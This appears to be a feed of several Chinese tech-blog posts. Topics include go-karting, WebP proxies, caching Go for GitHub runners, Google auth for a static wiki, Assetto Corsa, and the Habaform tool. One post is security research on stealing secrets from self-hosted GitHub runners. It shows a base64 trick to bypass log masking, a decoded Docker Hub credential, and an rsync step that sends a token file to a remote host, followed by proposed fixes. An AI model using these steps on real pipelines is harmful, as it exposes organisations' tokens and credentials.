室外场地:上海赛车场卡丁车 > 康桥流光速卡丁车
室内场地:军工路速马赫卡丁车 >= 极烽赛车 > 长风公园内的迪士卡
玩了这么多次卡丁车下来,感觉普遍娱乐车有一个问题,就是基本场地没法做到娱乐车的之间不要有太大差异,最让我惊讶的上赛的卡丁车,最近一次和一个和我能力相仿的同事去的时候,我们分别跑出了 1:23 和 1:39 的成绩,且据他描述,他的车可以全程不踩刹车过弯…(虽说娱乐车可能面向的就是大部分认为卡丁车 == 碰碰车的人,但是这么明显的差距,感觉确实有很大的维护上的问题了),事后我们找了工作人员,但是工作人员并不承认这个问题的存在,并表示:
如果你觉得卡丁车有问题,那么第一圈就应该直接下来找我们换车(虽然在刚刚开始的时候他并没有这么说过)
如果你想玩卡丁车并且目标不是当碰碰车去开的话,有以下一点个人的经验:
以上。
]]>
很快我便意识到使用 WebP Server Go 的 Remote Mode 可以解决这个问题,并且迅速搭建了带有 WebP 转换的站点起来,虽然由于运行在同一个 Node 上导致页面的响应速度有点影响,我还是发了个推来记录了一下这个事情:
看了一下 GitHub Insights 的 PageSpeed Insights ,告诉我页面上的 http://avatars.githubusercontent.com 影响页面速度。
成啊,正好 WebP Server Go 有 Remote Mode ,马上就搓了个带 WebP 转换的反代出来(例如:https://avatars.github.re/u/24852034)
然后发现网站 Time to Interactive 变长了,打分反而还变低了…
#负优化
——https://twitter.com/n0vad3v/status/1481626787398709248
在解决了自己的痛点之后我意识到其实可能其他人也有类似的痛点,但是可能不在 GitHub 头像上,而是 Gravatar,或者 Imgur,或者其他的站点,这样一来作为 WebP Server Go 的开发者而言,使用自己的产品提供一个公共服务的需求就显得呼之欲出了。
我知道现在市面上已经存在了很多类似的优秀的反代服务,不过个人感觉他们的目标更加贴近:加速,且指面向大陆用户的加速。
而 WebP Cloud Service 希望做到的重点并不是面向大陆用户优化的加速,而是在加速的同时减少图片的体积,使用了我们服务的用户的站点可以访问速度更快,有着更好的 PageSpeed 的打分,参考我们文档上的一个对比,可以看到我们使用了 4600 个 10KB - 500KB 范围的小文件进行了测试,WebP 转换后的图片体积减少了 77%。
| file_size_range | file_num | src_size | dist_size |
|---|---|---|---|
| (10KB,500KB) | 4600 | 1.3G | 310M |
所以,我们创造了 WebP Cloud Services,暂时提供了 GitHub 头像,Gravatar 和 GitHub 用户图片的带 WebP 转换的反代服务,为了防止网站在大陆被墙影响到 WebP Server Go,所以我们注册了一个新的域名,地址: https://webp.se/ ,欢迎大家试用!
]]>self-hosted 的 CI 任务了,由于语法和 GitHub Actions 官方语法一致,基本使用者都会有类似「太顺滑了,几乎没有任何的体感差异」,「有效减少了高峰用官方 Runner 排队的问题」,「成功获得了 ARM64 环境」,「性能和 RAM 直接翻倍」等等好评。
但是使用一个非海外的基础设施我们很快就会看到一些地理位置上的缺陷,比如…
为什么
actions/setup-go@v2可以跑这么久?
那..这..用的国内三大运营商,这不是很正常么?(虽然这个包本身并不大,才 120M 左右)

为了优化 Golang 做 go mod tidy 等操作,在 Runner 的镜像中已经显式地指定好了 GOPROXY ,Dockerfile 类似:
ENV GOPROXY "http://goproxy.nova.moe,https://proxy.golang.org,direct"
这样在用户使用 Golang 程序的时候就可以直接走内部 GOPROXY 来加速了,但是这样依然不够,因为要给 Runner 安装 Go ,还需要使用 actions/setup-go@v2 来安装。
这个时候,有些小机灵鬼就会说了:「那你把 Go 打在 Image 里面不就好了么?」

确实可以,但是这样对于多版本管理是很不利的,难道你像下图一样维护一堆类似 n0vad3v/github-runner:go1130,n0vad3v/github-runner:go1160 的镜像,然后手动控制这些镜像的 Container 数量和 Tag,然后让用户去用类 Jenkins 的语法,去手动指定 runs-on: [self-hosted,X64,go1130]?
所以为了解决这个问题,我们还是得让用户自己去用一个 Step 来安装 Go,毕竟环境的模块化组装(以及 Matrix 的使用)是 GitHub Actions 的一大优势,不然一堆 if-else 和 Jenkins 有啥区别,更何况现在 Runner 安装了一次 Go 之后就会缓存下来(除非你启动的时候指定了 --ephemeral),在下一次遇到同版本的时候会直接使用缓存。
actions/setup-go 优化在 Runner 上安装 Golang,大家一般会使用 actions/setup-go@v2,用法也很简单,如下:
- uses: actions/setup-go@v2
with:
go-version: '1.16'
为了了解这个 Action 是如何工作的,在不看代码,只看代码结构的角度,我们从 https://github.com/actions/setup-go/blob/main/__tests__/data/versions-manifest.json 文件中可以发现它 ”背后的数据地址“ 类似:
https://github.com/actions/go-versions/releases/download/1.12.17-20200616.21/go-1.12.17-darwin-x64.tar.gz
反推得到实际的数据仓库为: https://github.com/actions/go-versions/ 的 https://github.com/actions/go-versions/blob/main/versions-manifest.json , 数据格式类似如下:
[
{
"version": "1.17.5",
"stable": true,
"release_url": "https://github.com/actions/go-versions/releases/tag/1.17.5-1559554870",
"files": [
{
"filename": "go-1.17.5-darwin-x64.tar.gz",
"arch": "x64",
"platform": "darwin",
"download_url": "https://github.com/actions/go-versions/releases/download/1.17.5-1559554870/go-1.17.5-darwin-x64.tar.gz"
},
{
"filename": "go-1.17.5-linux-x64.tar.gz",
"arch": "x64",
"platform": "linux",
"download_url": "https://github.com/actions/go-versions/releases/download/1.17.5-1559554870/go-1.17.5-linux-x64.tar.gz"
},
{
"filename": "go-1.17.5-win32-x64.zip",
"arch": "x64",
"platform": "win32",
"download_url": "https://github.com/actions/go-versions/releases/download/1.17.5-1559554870/go-1.17.5-win32-x64.zip"
}
]
},
]
后来发现其实 README 中有写:It will first check the local cache for a version match. If version is not found locally, It will pull it from
mainbranch of go-versions
在确认了实际下载的包的地址之后我们就可以反推 setup-go 中是如何使用这个地址的了,通过一波 rg,我们在 src/installer.ts 的 143 行发现:
const releases = await tc.getManifestFromRepo(
'actions',
'go-versions',
auth,
'main'
);
所以现在缓存的思路就很清晰了:
非常容易,Python 可以这么写,只要指定一下 HOST_URL 为内网下载地址,STORE_PATH 为实际存储地址,GOLANG_VERSION_LIST 中填上想要缓存的 Golang 版本即可,保存为一个 download.py ,运行后等着就好:
import requests
from urllib.parse import urlparse
import os
import json
## ENV
HOST_URL = "http://download.nova.moe/download/github-actions/golang/"
STORE_PATH = "/path/to/download/github-actions/golang/"
GOLANG_VERSION_LIST = ['go-1.16','go-1.17','go-1.13']
## END ENV
def process_each_package(package_filename, package_url):
package_path = STORE_PATH + package_filename
if not os.path.isfile(package_path):
print("Downloading: " + package_url)
r = requests.get(package_url)
with open(package_path, 'wb') as f:
f.write(r.content)
return package_path
if __name__ == '__main__':
go_versions_url = 'https://raw.githubusercontent.com/actions/go-versions/main/versions-manifest.json'
r = requests.get(go_versions_url).json()
return_list = []
golang_package_list = []
for item in r:
package_url = item['files'][1]['download_url']
for version in GOLANG_VERSION_LIST:
if version in package_url:
golang_package_list.append(package_url)
a = urlparse(package_url)
package_filename = os.path.basename(a.path)
process_each_package(package_filename, package_url)
item['files'][1]['download_url'] = HOST_URL + package_filename
return_list.append(item)
with open('versions-manifest.json', 'w') as f:
f.write(json.dumps(return_list, indent=2))
运行结束后所有的 tar.gz 包都会保存到 STORE_PATH 中,同时运行目录下会生成一个下载地址已经替换为内网地址的 versions-manifest.json。
Fork 这两个仓库后,将 Fork 后的 go-versions 仓库下的 versions-manifest.json 替换为刚刚已经生成好的版本(这个操作过于简单建议直接用网页修改,避免浪费拉仓库使用的本地带宽)。
由于 setup-go 需要编译,为了省事考虑(反正我们只修改两个变量),直接将 Fork 的 setup-go 中 dist/index.js 的 5037 行
const releases = yield tc.getManifestFromRepo('actions', 'go-versions', auth, "main");
改为 fork 后的地址,比如:
const releases = yield tc.getManifestFromRepo('n0vad3v', 'go-versions-forked', auth, "master");
在上面的操作完成之后,我们只需要使用 fork 后的 setup-go ,即可使用到内网的下载速度了,用法类似:
- uses: n0vad3v/setup-go-forked@master
with:
go-version: '1.16'
快到模糊!

由于缓存 Golang 的包的操作看上去是一个 One shot 的操作,基本没有短时间内持续更新的需求,暂时也就没有考虑自动化之类的事情,在有了内网缓存之后,整体的 Runner 运行效率一下子就提升了起来,使用体验又愉快了不少。
这是关于 GitHub Actions Self-hosted Runner 优化的第一篇文章,后续可能还会有一些相关的有趣的分享,同时我也在考虑把相关的组件(比如 关于从 GitHub Actions Self-Hosted Runner 中偷 Secrets/Credentials 的一些安全研究 中提到的那个假 KMS,以及可用的 Runner 的 Dockerfile)开源出来,不过这些都还没想好,有兴趣的同学可以期待一下~
]]>这其实是一篇操作指南,对于我这种完全不会写代码的人来说都能搞定,整个思路是 @handlerww 大佬建议的,想想还是蛮有意思的,遂记录一下,分享出来,希望可以给有类似需求的同学一些思路。
我不喜欢 Google Docs,因为它对于我而言除了有团队协作上的便利以外,似乎没有任何的好处,Google Docs 对于我而言只是一个草稿本,用来记录一些简单的设计思路和个人的想法,完成记录之后点右上角的「Share」分享给需要的人(们),经过一堆 Zoom 会议或者 Telegram 语音,在文档上出现了一堆 Comment 和修改之后,它,作为一个链接地址长相类似 https://docs.google.com/document/d/1x7Y8pN8DxxxxxxxxxxTB0c/edit 的文档来说,很快它就会成为 Drive 中的一些没法清理的「小麻烦」。
慢慢地,我们的 Google Drive 就会变成这样:

在成熟的公司里,用不着去写具体的业务代码,从事的都是脑力活动。需求越来越多,大佬们就越来越多,为了获得绩效,他们得找到可以改进的「xx设计体系方案」。方案是无限的,因为一切都可以「重构」。Google Drive 里那一堆堆发黑的 Google Docs,比墓地还要凄惨,即便到了年终总结,也不会有人去看一眼。技术就在大量的「xx设计体系方案」,「xx的建设」中渐渐消亡。相信我,在你原来的公司内的一个高可用 Jira 部署的deployment.yml,就远远胜过我们在各种例会上的「xx 看法」。
——《不能承受的文档之轻》
对于静态的网站来说,一般我们认为是没法加入验证的操作的(htpasswd 这种 pre-shared key 模式不算哈),但是为了打破上文中 Google Docs 满天飞,天天 Play with styling 的困局,我们肯定需要一套完整的,Markdown-based 的文本库作为 Wiki 的存在,一来可以沉淀一些技术上的设计思路,二来也可以为后续找文档和打开文档时省点心思和内存。
我们直接开始整个流程吧,由于是纯静态的文件(假设这里是用的 mdbook,域名为 goprivate.nova.moe),这里考虑到 CI/CD,假设我们使用了 GitHub Actions + AWS S3(桶名:goprivate.nova.moe) 的方式来持续构建和部署我们的 Wiki,并且配置了 Cloudfront 做了 CDN 加速(大陆以外的访问),接下来,我们考虑配置 Google 登录来让我们的内部同学看到对应的文章。
首先我们需要到 https://console.developers.google.com/ 创建一个类型为 Web application 的 OAuth Client,参考:

设置 Authorized redirect URIs 为 https://goprivate.nova.moe/_callback,并记录下 Client ID 和 Client secret。
Clone https://github.com/Widen/cloudfront-auth 这个仓库,在确认电脑上已经安装了 node 之后在仓库内执行 ./build.sh,选择 Google 验证,并输入上文中记录下来的 Client ID 和 Client secret,在验证部分,由于这里的需求是希望接受所有来自 @nova.moe 邮箱的登录,所以选择 Hosted Domain ,并输入 nova.moe,完成之后会在 distribution/Google 目录下发现一个 Google.zip 的文件,留着备用。
然后在 AWS 的 us-east-1 区域(这点很重要,目前 Lambda@Edge 似乎只有这个区可用)创建一个 Lambda 并选择 Use a blueprint,并搜索 cloudfront-http-redirect,如下图:

选择 Create a new role with basic Lambda permissions 并点确认。

保存并部署后,通过 Upload From 上传之前的 Google.zip 并点 Versions 创建一个 Version (名称可以随意写一个)即可,此时需要注意上面的 ARN,末尾会加入一个 :3 之类的,变为类似 arn:aws:lambda:us-east-1:31245698298:function:goprivate-nova-moe-auth:3,我们需要复制这个 ARN。
最后,我们到达 Cloudfront 的设置界面点 Behaviour,并设置 Viewer Request 通过 Lambda@Edge ,后面写上上文的 ARN,类似如下,并保存:

此时,等待 10 分钟左右等 Cloudfront 生效,生效后我们就可以发现我们的静态页面在访问的时候已经会跳转到 Google Auth 进行验证了。
但是这样有个问题,由于所有的请求都走了 Lambda@Edge,在 S3 上设置的 Static Website Hosting 的 index page 似乎是无效的(导致访问 / 目录会直接出现一个 Access Denied),所以需要对我们用到的 Lambda@Edge 进行一个 Patch,具体来说就是在代码的 function mainProcess(event, context, callback) 内部加入:
if (request.uri.endsWith('/')) {
var requestUrl = request.uri;
// Match url ending with '/' and replace with /index.html
var redirectUrl = requestUrl.replace(/\/$/, '\/index.html');
// Replace the received URI with the URI that includes the index page
request.uri = redirectUrl;
}
相关部分代码看上去如下:
...
function mainProcess(event, context, callback) {
// Get request, request headers, and querystring dictionary
const request = event.Records[0].cf.request;
const headers = request.headers;
const queryDict = qs.parse(request.querystring);
if (event.Records[0].cf.config.hasOwnProperty('test')) {
config.AUTH_REQUEST.redirect_uri = event.Records[0].cf.config.test + config.CALLBACK_PATH;
config.TOKEN_REQUEST.redirect_uri = event.Records[0].cf.config.test + config.CALLBACK_PATH;
}
if (request.uri.endsWith('/')) {
var requestUrl = request.uri;
// Match url ending with '/' and replace with /index.html
var redirectUrl = requestUrl.replace(/\/$/, '\/index.html');
// Replace the received URI with the URI that includes the index page
request.uri = redirectUrl;
}
...
点 Deploy 并 Publish 新版本后按照上文中的 CloudFront 设置新的版本的 ARN 即可.
以上。

最近由于贴上贴纸之后跑圈太快了(https://twitter.com/n0vad3v/status/1451831371664543746),导致某个同事要来挑战我,于是第一反应就是,来嘛,搞一把!
在通过 Nova-China-Overlay-Network(一个走 Wireguard 的大内网)让同事连入家里内网之后,同事的电脑已经可以 ping 通我家里的网段了(同事住所网段:192.168.1.0/24,我家里网段:192.168.2.0/24),他的 Wireguard 配置类似如下:
[Interface]
Address = 10.0.0.200/24
ListenPort = 51820
PrivateKey = INoxxxxxxxxxxxxxxxxxxxxxxxxxBWw=
[Peer]
PublicKey = w+g1uxxxxxxxxxxxxxxxxxxxxxxxxxuSYyo=
Endpoint = nova-china-network.xxxxxx.network:51820
AllowedIPs = 10.0.0.1/32, 192.168.2.0/24
PersistentKeepalive = 15
但是在正常启动 Assetto Corsa 之后发现 LAN 中根本没法看到我这边架设起来的服务器,于是盲猜——Assetto Corsa 可能是只扫描的网卡段,没法正确识别可路由段导致的,比如在这个场景下它只扫描了 192.168.1.0/24,而不知道 192.168.2.0/24 的可达性。
这种问题之前在联机 ARMA3 时也有遇到,但是 ARMA3 给出了解决方案——Direct Connect,直接输入对方 IP 进行访问,作为自己扫描器不足的一个 workaround,但是 Assetto Corsa 并不这么认为,并且不给一个简单的 Direct Connect 的方式,这就很愚蠢了…
/spawn,类似这样: "C:\Program Files (x86)\Steam\steamapps\common\assettocorsa\AssettoCorsa.exe" /spawnrace.ini 文件,一般来说路径是这样的: C:\Users\Nova\Documents\Assetto Corsa\cfg\race.ini,并且注意文件内部的 [REMOTE] 的部分,改为以下:[REMOTE]
SERVER_IP=192.168.2.44
SERVER_PORT=9600
SERVER_NAME=NKW Server
SERVER_HTTP_PORT=8081
REQUESTED_CAR=bmw_z4_gt3
NAME=Nova
TEAM=
PASSWORD=somepassword
GUID=999999999999999
ACTIVE=1
[AUTOSPAWN]
ACTIVE=1
其中,SERVER_IP 是服务器 IP,SERVER_PORT 默认是 9600,PASSWORD 需要和 NAME 需要手动设置一下,REQUESTED_CAR 这个车辆代码可以在游戏目录下 content\cars 目录下找到(文件夹名字就是车的名字)。
提示:每次关闭游戏后 [AUTOSPAWN] 和 [REMOTE] 下的 ACTIVE 会变成 ACTIVE=0,每次启动前需要手动修改为 1.
开冲!
If you create user accounts in the Harbor database, Harbor is locked in database mode. You cannot change to a different authentication mode after you have created local users.
Harbor 的用户验证有三种方式,分别叫做:
由于我个人需要在纯内网环境下使用 Harbor ,加上没有 LDAP 的加持,自然只有一个 「Database Authentication」可以选,由于每用户都是独立的帐号,每个帐号都有自己所属的 Project,也有一些共用的 Project 多个人共用,管理起来的成本非常大,不过好在现在已经从之前的「无文档,无记录」,升级成了用一个 Google Sheet 来记录所有的 Project,类似这样:

这样看上去直观了不少,至少有了一个统一的地方可以看到每个 Project 的所有人/用途和 GC Policy。
但是这是一个 xls,不是一个 exe,它只能用来记录,需要人工同时维护表格和 Harbor(手动点点点),容易出现表格和实际的数据不一致的情况,鉴于此,我们可以继续深入改进一下,用类似 IaC 的方式来管理 Harbor 的 Project 和 Users。
于是我造了一个方形的轮子,叫 Habaform.
Habaform 名称来源:Haba(Harbor)-form(Terraform).
GitHub 地址:https://github.com/n0vad3v/habaform
当使用 pip3 install habaform 安装了之后,我们来看看 Habaform 怎么玩。
对于一个船新的 Habaform 管理的 Harbor,我们可以通过 habaform parse 来获得一份 habaform_file,用法如下(首先需要 export HARBOR 的登录信息),比如:
export HARBOR_USERNAME="admin"
export HARBOR_PASSWORD="Harbor12345"
export HARBOR_URL="http://hub.nova.moe"
然后就可以开始解析目前的 Harbor 结构了,先创建一个目录用来存放这些信息:
habaform parse
此时,当前目录下会出现一个目录和一个文件,类似这样:
.
├── DO_NOT_TOUCH
│ └── habaform.hf
└── habaform.hf
1 directory, 2 files
此时两个 habaform.hf 文件内容完全一致,文件内容类似如下:
habaformVersion: 1
projects:
- civic:
members:
- admin(projectAdmin)
- honda:
members:
- admin(projectAdmin)
- pingcap(developer)
- library:
members:
- admin(projectAdmin)
- novakwok:
members:
- admin(projectAdmin)
保持这个样子,可以直接丢到一个 GitHub 仓库上。
有了一个中心化的 GitHub 仓库之后,我们可以开始配置 GitHub Action 来完成 GitOps,比如我们希望在代码合并的时候自动 habaform plan 来判断这一次合并会造成的更改,虽然是内网环境,但是由于已经有大量的 Self-hosted Runner 的部署在,我们依然可以使用 GitHub Actions 来完成这一系列内网操作(你也想要 Self-hosted Runner?来看看「在 Kubernetes 上运行 GitHub Actions Self-hosted Runner」这篇文章吧~),关键代码如下:
name: Plan Habaform
on: [pull_request]
jobs:
Plan:
runs-on: [self-hosted,X64]
steps:
- uses: actions/checkout@v2
- uses: actions/setup-python@v2
with:
python-version: '3.x'
- name: Setup Habaform
run: |
pip3 install habaform
- name: Plan
id: plan
env:
HARBOR_USERNAME: ${{secrets.HARBOR_USERNAME}}
HARBOR_PASSWORD: ${{secrets.HARBOR_PASSWORD}}
HARBOR_URL: ${{secrets.HARBOR_URL}}
run: |
echo 'HABAPLAN<<EOF' >> $GITHUB_ENV
habaform plan >> $GITHUB_ENV
echo 'EOF' >> $GITHUB_ENV
- name: Preview Plan info
uses: actions/github-script@v4
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
github.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: `${{ env.HABAPLAN }}`
})
对于没有问题的 PR,合并后需要自动 Apply 到实际的 Harbor 上,我们再准备一个 Action 来做这个事情,关键代码如下:
name: Apply Habaform
on:
push:
branches: [ master ]
paths:
- 'habaform.hf'
jobs:
Apply:
runs-on: [self-hosted,X64]
steps:
- uses: actions/checkout@v2
- uses: actions/setup-python@v2
with:
python-version: '3.x'
- name: Setup Habaform
run: |
pip3 install habaform
- name: Apply
id: apply
env:
HARBOR_USERNAME: ${{secrets.HARBOR_USERNAME}}
HARBOR_PASSWORD: ${{secrets.HARBOR_PASSWORD}}
HARBOR_URL: ${{secrets.HARBOR_URL}}
run: |
habaform apply
- name: Sync config
run: |
git config --global user.name "github-actions[bot]"
git config --global user.email "41898282+github-actions[bot]@users.noreply.github.com"
git add .
git commit -m "Sync hf file"
git push
有了上述准备后,我们来看看一个典型的 Workflow,~~由于手上没有测试环境,我们直接用生产环境的库来测试好了~~~

habaform.hf 中直接删除 pingcap 的部分,像这样:
提交 PR 之后 GitHub Actions 就会自动将这次变更的效果给 Preview 出来并 Comment 到 PR 的 Issue 上,类似这样:

如果感觉没问题(Preview 符合预期),那么就可以直接合并 PR,在合并之后,由于 habaform.hf 文件有修改,会触发 Apply Habaform 这个 GitHub Action 任务,任务会自动把修改的内容 Apply 到实际的 Harbor 上,并同步两个 habaform.hf 文件。

虽然很简陋,不过,这样就完成了~
当然,Habaform 不简单局限于增/删 Project,它还可以直接管理 Project 的成员信息,只要直接修改 habaform.hf 即可,对于成员的 Role 来说,只需要在括号内申明就可以了,可用的 Role 信息如下:
以上,在有了 Habaform 之后,我们可以让 Habaform 来管理我们的 Harbor 的 Project/User 关系了。
DO_NOT_TOUCH/habaform.hf 作为 Trusted Source 可能会在多个 PR 同时进行的时候遇到问题在上一篇文章「在 Kubernetes 上运行 GitHub Actions Self-hosted Runner」中,我们可以看到,由于需要动态注册 GitHub Runner,我们需要使用到自己的 Personal Access Token,而这个的使用方式是通过环境变量的方式注入到容器中的,部分 deployment 的内容如下:
containers:
- name: github-runner-some-github-org
imagePullPolicy: Always
image: 'n0vad3v/github-runner'
env:
- name: GITHUB_PAT
value: "ghp_bhxxxxxxxxxxxxx7xxxxxxxdONDT"
- name: GITHUB_ORG_NAME
value: "some-github-org"
- name: RUNNER_LABELS
value: "docker,internal-k8s"
这样的话在容器中我们可以通过 env 的方式拿到 Personal Access Token,对于外界攻击者来说,只要在 Workflow 中加入一句 env,就可以看到:

好的, GitHub 还是稍微保护了一下我们的傻缺行为,但是攻击者肯定不傻,既然(显然易证) GitHub 是通过匹配字符串的方式来 mask 的,那只要改变一下,改为: env | grep ghp | base64 就可以绕开 GitHub 的限制直接偷到 Token 了
(此处没有截图)
而且由于需要注册 GitHub Runner 的 Personal Access Token 需要 admin:org 的权限,一旦被偷到 PAT 的话,那么攻击者就有了 Full control of orgs and teams, read and write org projects,是不是相当刺激!
根据观察,以下 Self Hosted GitHub Runner 的启动方式都有这样的问题:
在我们开始想怎么解决这个问题前,我们先从 GitHub 上把他们 Docker Hub 的帐号给偷出来。
Again,在上文「在 Kubernetes 上运行 GitHub Actions Self-hosted Runner」中,我们知道 Docker Hub 对于未登录用户 pull 的次数有限制,但是 GitHub Actions 的机器不会受到限制,所以肯定是 GitHub Actions 的机器有一些处理,写一个 Workflow cat ~/.docker/config.json 就可以看到 GitHub Actions 的机器上已经登录了 Docker Hub
{
"auths": {
"https://index.docker.io/v1/": {
"auth": "Z2l0aHViYWN0aW9uczozZDY0NzJiOS0zZDQ5LTRkMTctOWZjOS05MGQyNDI1ODA0M2I="
}
}
}
echo "Z2l0aHViYWN0aW9uczozZDY0NzJiOS0zZDQ5LTRkMTctOWZjOS05MGQyNDI1ODA0M2I=" | base64 -d
githubactions:3d6472b9-3d49-4d17-9fc9-90d24258043b
所以直接偷出来用就好了(

好了,现在偷到了 Docker Hub 帐号,我们来看看上面 Runner 的问题如何解决。
在 Actions 中我们知道,要注册一个 GitHub Runner,需要提供 Token/Org name/Label 等参数,其中 Registration Token 只会在注册的时候使用一次,Remove Token 只会在注销的时候使用一次,且这两个 Token 在生成出来之后使用期限是 1hr(The token expires after one hour.),并且 Endpoint 是 https://api.github.com/orgs/ORG/actions/runners/registration-token,由于这里的 Token 只能用于注册/注销 Runner, 权限特别低,所以我们可以想到利用一个安全托管的外部服务来动态提供 Token,由于是 Web 服务,最简单的就是直接用 ExpressJS 糊一个,关键代码如下:
const org_pat_map = {
"some-github-org-a": "ghp_bFLPOxxxxxxxxxxxxxxxxxxxxxxx",
"some-github-org-b": "ghp_JGIGxxxxxxxxxxxxxxxxZcj4KOij4"
}
app.get('/:github_org_name/registration-token', (req, res) => {
const registration_token_url= `https://api.github.com/orgs/${req.params.github_org_name}/actions/runners/registration-token`
const github_pat = org_pat_map[`${req.params.github_org_name}`]
const headers = {
'Authorization': `token ${github_pat}`
}
axios.post(registration_token_url,{},{headers: headers})
.then((github_res) => {
res.send(github_res['data']['token'])
})
})
这样,我们就获得了一个安全可靠的接口,用于获得 Runner 注册使用的 Token 了,用法类似:
export RUNNER_TOKEN=$(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token)
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token ${RUNNER_TOKEN} --labels "${RUNNER_LABELS}"
这样我们就解决了 PAT 泄漏的问题,但是这里还有个攻击面,请继续往下~
有了 GitHub Actions,我们就会有一些自己的小秘密需要在任务中使用,比如,我们不希望别人知道 Honda 的 V-Tec 真的 is the best!,我们会定义这么个变量。

在传统的方法下,无论是 echo ${{ secrets.SUPRA_SECRET }} 还是 echo ${{ secrets.SUPRA_SECRET }} | base64,都会被聪明的 GitHub 发现并且 Mask 掉。

但是我们可以在机器上发现
[centos@centos76_vm self-hosted-runner]$ pwd
/home/runner/actions-runner/_work/self-hosted-runner/self-hosted-runner
[centos@centos76_vm self-hosted-runner]$ cat token.txt
Vi1URUMgaXMgdGhlIEJlc3QhCg==
试试看:
➜ ~ echo "Vi1URUMgaXMgdGhlIEJlc3QhCg==" | base64 -d
V-TEC is the Best!
这让 MAZDA 这种大排量自吸车主怎么看!
由于本地已经存放了一个文件,只要在下方加入一个 Step,大概这么写:
- name: rsync deployments
uses: burnett01/[email protected]
with:
switches: -avzr
path: token.txt
remote_path: /root/trap/
remote_host: "111.111.111.111"
remote_user: root
remote_key: "ssh-rsa AAAAB3NzaC1y..."
一个 PR + 一个 VPS,就可以在自己的机器上拿到 Credentials 了。
回顾一下,这里有两个攻击面:
这里假设 2 已经成功,我们已经成功将任务调度到了我们的机器上,通过 https://github.com/brendangregg/perf-tools 监听事件我们可以发现,刚刚 Workflow 上的 echo ${{ secrets.SUPRA_SECRET }} | base64 事件在调度到机器上的时候,相关执行情况如下:
831 720 /usr/bin/bash -e /home/centos/actions-runner/_work/_temp/45fa598d-59b8-4262-8a64-6fda1694c2b2.sh
833 831 base64
834 831 cat token.txt
835 705 /home/centos/actions-runner/externals/node12/bin/node /home/centos/actions-runner/_work/_actions/actions/checkout/v2/dist/index.js
854 835 /usr/bin/git version
但是在任务完成了之后对应的 _temp 会被清理掉,所以我们需要一个方式来保留下来这个文件,比如
while true; do rsync /home/centos/actions-runner/_work/_temp/*.sh ./; done
然后打开 snoopexec:
./execsnoop >> log.txt
在任务完成之后停止 execsnoop 并清理一下 Log 中的 rsync 日志:
sed -i "/rsync/d" log.txt
我们来看看我们找到了什么:
[root@centos7 tmp-sh]# cat 420886e8-f604-4187-b3d2-b6455e45467a.sh
echo V-TEC is the Best! | base64 >> token.txt
cat token.txt

说起来蛮好笑的, 其实上面这个问题非常好解决,只要把:
export RUNNER_TOKEN=$(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token)
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token ${RUNNER_TOKEN} --labels "${RUNNER_LABELS}"
换成以下就好了,根本就不应该在环境变量中放 RUNNER TOKEN。
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token $(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token) --labels "${RUNNER_LABELS}"
TL,DR
build dist_release 可以编译到死(或者 OOM))这种时候,我们就需要使用 Self-hosted Runner,什么是 Self-hosted Runner?
Self-hosted runners offer more control of hardware, operating system, and software tools than GitHub-hosted runners provide. With self-hosted runners, you can choose to create a custom hardware configuration with more processing power or memory to run larger jobs, install software available on your local network, and choose an operating system not offered by GitHub-hosted runners. Self-hosted runners can be physical, virtual, in a container, on-premises, or in a cloud.
对于一个 Org 而言,要添加一个 Org Level (全 Org 共享的) Runner 比较简单,只需要:
mkdir actions-runner && cd actions-runner
curl -o actions-runner-linux-x64-2.278.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.278.0/actions-runner-linux-x64-2.278.0.tar.gz
./config.sh --url https://github.com/some-github-org --token AF5TxxxxxxxxxxxA6PRRS
./run.sh
你就可以获得一个 Self hosted Runner 了,但是这样做会有一些局限性,比如:
为了解决这个问题,我们需要把 GitHub Runner 给容器化,这里提供一个 Dockerfile 的 Example (魔改自:https://github.com/SanderKnape/github-runner),由于需要使用到类似 dind 的环境(在 Actions 中直接使用到 Docker 相关的指令),所以我加入了 docker 的 binary 进去,由于默认 Runner 不允许以 root 权限运行,为了避开后续挂载宿主机 Docker 的 sock 导致的权限问题,使用的 GitHub Runner 是一个经过修改的版本,修改版本中让 Runner 可以以 root 权限运行,修改的脚本如下:

wget https://github.com/actions/runner/releases/download/v2.278.0/actions-runner-linux-x64-2.278.0.tar.gz
tar xzf ./actions-runner-linux-x64-2.278.0.tar.gz && rm -f actions-runner-linux-x64-2.278.0.tar.gz
# 这里删除了两个文件中判断是否 root 用户的部分
sed -i '3,9d' ./config.sh
sed -i '3,8d' ./run.sh
# End
# 重新打包
tar -czf actions-runner-linux-x64-2.278.0.tar.gz *
# 删除解压出来的不需要的文件
rm -rf bin config.sh env.sh externals run.sh
然后 Dockerfile 可以这么写
FROM ubuntu:18.04
ENV GITHUB_PAT ""
ENV GITHUB_ORG_NAME ""
ENV RUNNER_WORKDIR "_work"
ENV RUNNER_LABELS ""
RUN apt-get update \
&& apt-get install -y curl sudo git jq iputils-ping zip \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* \
&& curl https://download.docker.com/linux/static/stable/x86_64/docker-20.10.7.tgz --output docker-20.10.7.tgz \
&& tar xvfz docker-20.10.7.tgz \
&& cp docker/* /usr/bin/
USER root
WORKDIR /root/
RUN GITHUB_RUNNER_VERSION="2.278.0" \
&& curl -Ls https://internal.knat.network/action-runner/actions-runner-linux-x64-${GITHUB_RUNNER_VERSION}.tar.gz | tar xz \
&& ./bin/installdependencies.sh
COPY entrypoint.sh runsvc.sh ./
RUN sudo chmod u+x ./entrypoint.sh ./runsvc.sh
ENTRYPOINT ["./entrypoint.sh"]
其中 entrypoint.sh 的内容如下:
#!/bin/sh
# 这里如果直接使用 ./config.sh --url https://github.com/some-github-org --token AF5TxxxxxxxxxxxA6PRRS 的方式注册的话,token 会动态变化,容易导致注册后无法 remove 的问题,所以参考 https://docs.github.com/en/rest/reference/actions#list-self-hosted-runners-for-an-organization 通过 Personal Access Token 动态获取 Runner 的 Token
registration_url="https://github.com/${GITHUB_ORG_NAME}"
token_url="https://api.github.com/orgs/${GITHUB_ORG_NAME}/actions/runners/registration-token"
payload=$(curl -sX POST -H "Authorization: token ${GITHUB_PAT}" ${token_url})
